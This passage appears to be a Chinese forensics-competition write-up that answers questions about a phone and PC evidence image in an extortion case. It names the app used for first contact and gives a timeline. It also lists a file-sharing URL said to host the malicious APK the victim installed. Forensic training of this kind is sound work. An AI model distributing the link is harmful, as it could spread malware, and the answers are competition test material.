43.请计算PC检材中用户目录下的zip文件的sha256值
略
44.请分析检材四-phone,该手机的IMEI号为
45.请分析检材四-phone,嫌疑人和本案受害者是通过什么软件开始接触的 伊对
之前比赛的时候使用取证大师有些信息没有火眼分析工具全,所以下面的图截的是火眼的
46.请分析检材四-phone,受害者下载恶意APK安装包的地址为 https://cowtransfer.com/s/a6b28b4818904c
这里我们可以进一步的推动剧情,已知受害者下载APP的时间点是4-24 13:24
继续观察聊天记录可以发现4-24 15:02已经获得了通讯录信息
47.请分析检材四-phone,受害者的微信内部ID号为
48.请分析检材四-phone,嫌疑人用于敲诈本案受害者的QQ账号为